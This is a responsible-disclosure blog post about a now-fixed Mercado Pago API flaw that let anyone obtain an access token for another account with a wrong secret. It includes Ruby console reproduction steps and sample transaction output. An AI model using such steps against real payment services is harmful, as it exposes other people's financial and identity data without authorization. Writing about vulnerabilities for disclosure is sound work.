OmbuLabs Blog

The Lean Software Boutique

Mercado Pago Security Hole

On April 17th we discovered a security vulnerability in the Mercado Pago API. Before disclosing this information, we contacted Mercado Libre and sent them a detailed report of the security hole and how to reproduce it.

The vulnerability allowed anyone to get an access token without using the right secret for an account.

You can see how the authentication process works on Mercado Pago over here: https://www.mercadopago.com.ar/developers/en/api-docs/basics/authentication/

After 7 hours, Mercado Pago fixed the vulnerability in their production environment.

How we reproduced the bug

This example uses Ruby 2.1.2 and the mercadopago gem.

2.1.2 :001 > token = MercadoPago::Authentication.access_token("8872", "lalalala")

The first parameter is the client id (an account in Mercado Pago) and the second parameter is the secret (only the account holder should know this)

For client id we used 8872 which doesn't belong to us and for secret we used lalalala to show that it wasn't really the right secret.

With that information, we were able to acquire the token. With it you can access a lot of information associated with the payments in the account.

For example:

2.1.2 :002 > response = MercadoPago::Collection.search(token["access_token"], status: :approved)

With this query, you could see all the approved transactions for an account that didn't belong to you.

For example:

=> {"paging"=>{"total"=>98, "limit"=>30, "offset"=>0},
    "results"=>[
      {"collection"=>{"id"=>753859418, "site_id"=>"MLA",
       "date_created"=>"2014-03-13T16:58:20.000-04:00",
       "date_approved"=>"2014-03-13T17:00:38.000-04:00",
       "last_modified"=>"2014-03-13T17:00:38.000-04:00",
       "money_release_date"=>"2014-03-15T17:00:38.000-04:00",
       "operation_type"=>"regular_payment",
       "collector_id"=>16605960, "sponsor_id"=>nil,
       "payer"=>{
         "nickname"=>"XOMBULABSX",
         "first_name"=>"JON",
         "last_name"=>"SNOW",
         "phone"=>{"area_code"=>"291", "number"=>"123412", "extension"=>nil},
         "email"=>"security@ombulabs.com",
         "id"=>83110350,
         "identification"=>{"type"=>nil, "number"=>nil}},
         "external_reference"=>"1448",
         "merchant_order_id"=>11567450,
         "reason"=>"Premium package", "currency_id"=>"ARS",
         "transaction_amount"=>81, "total_paid_amount"=>81,
         "shipping_cost"=>0,
         "account_money_amount"=>0,
         "mercadopago_fee"=>4.85,
         "net_received_amount"=>76.15,
         "marketplace_fee"=>nil,
         "coupon_id"=>nil,
         "coupon_amount"=>nil,
         "coupon_fee"=>nil,
         "finance_fee"=>0,
         "status"=>"approved",
         "status_detail"=>"accredited",
         "status_code"=>"00",
         "released"=>"yes",
         "payment_type"=>"credit_card",
         "installments"=>1,
         "installment_amount"=>nil,
         "deferred_period"=>nil,
         "cardholder"=>{"name"=>"JON SNOW", "identification"=>{"type"=>"DNI", "number"=>"26000000"}},
         "statement_descriptor"=>"WWW.MERCADOPAGO.COM",
         "transaction_order_id"=>nil, "marketplace"=>"NONE", "tags"=>[],
         "notification_url"=>nil}},
      {"collection"=>
        {"id"=>756415807,
        "site_id"=>"MLA",
        "date_created"=>"2014-03-20T15:42:35.000-04:00",
        "date_approved"=>"2014-03-20T15:42:35.000-04:00",
        "last_modified"=>"2014-03-20T15:42:35.000-04:00",
        "money_release_date"=>"2014-03-22T15:42:35.000-04:00",
        "operation_type"=>"regular_payment",
        "collector_id"=>16605960,
        "sponsor_id"=>nil,
        "payer"=>{
          "nickname"=>"YOURNICKNAME",
          "first_name"=>"Matias",
          "last_name"=>"OMBU",
          "phone"=>{"area_code"=>"291", "number"=>"4000000", "extension"=>nil},
          "email"=>"hola@ombulabs.com",
          "id"=>18878708,
          "identification"=>{"type"=>nil, "number"=>nil}},
        "external_reference"=>"1457",
        "merchant_order_id"=>13031193,
        "reason"=>"Premium package",
        "currency_id"=>"ARS",
        "transaction_amount"=>81,
        "total_paid_amount"=>81,
        "shipping_cost"=>0,
        "account_money_amount"=>0,
        "mercadopago_fee"=>4.85,
        "net_received_amount"=>76.15,
        "marketplace_fee"=>nil,
        "coupon_id"=>nil,
        "coupon_amount"=>nil,
        "coupon_fee"=>nil, "finance_fee"=>0,
        "status"=>"approved",
        "status_detail"=>"accredited",
        "status_code"=>"00",
        "released"=>"yes",
        "payment_type"=>"credit_card",
        "installments"=>1,
        "installment_amount"=>nil,
        "deferred_period"=>nil,
        "cardholder"=>
          {"name"=>nil,
           "identification"=>{"type"=>nil, "number"=>nil}},
        "statement_descriptor"=>"WWW.MERCADOPAGO.COM",
        "transaction_order_id"=>nil,
        "marketplace"=>"NONE",
        "tags"=>[],
        "notification_url"=>nil}},
        ...
      }

The sensitive information in this code snippet has been intentionally changed

So, during the time that this vulnerability was live (at least 7 hours) an attacker could have used it to:

  • Find information about all the payments that your account had received since you started using the service

  • Find information about your clients, their DNI, name, phone number

All the attacker needed to exploit this vulnerability was a Mercado Pago account ID and some basic tech knowledge.

How we discovered this bug

At OmbuShop, our integration tests use the Mercado Pago sandbox to check that the amount that a client has to pay is correct. I know that this isn't ideal (or is it?) but it's as real as it gets for our integration tests.

One of our tests checked that you couldn't get collections information with the wrong user credentials. When the test started failing in our continuous tests, we started digging around and found this security hole.

What worries me

It's hard to understand how such a big payment processor never published information about this security hole. I would expect them to know if some information was accessed by people who didn't have access to it.

They could check their access logs and see who accessed their API using a secret that wasn't the right one. Then they could inform their customers of this problem and warn them about this situation.

Mercado Pago, a product of Mercado Libre ($MELI) which is a publicly traded company, doesn't even have public versioning information of their API nor a continuous integration suite that would catch such an obvious vulnerability.

Maybe I am just used to the security reports published by Github about their vulnerabilities. Maybe Github is way more serious than Mercado Pago about privacy and online security.

I think that Mercado Pago needs to step up their game and be more transparent about their platform and user privacy.

A good place to start would be a better way to receive security vulnerability reports and disclosing information about their security problems.

Until today, they haven't disclosed any information about this security hole and it's very hard to find a way to report a security issue to them.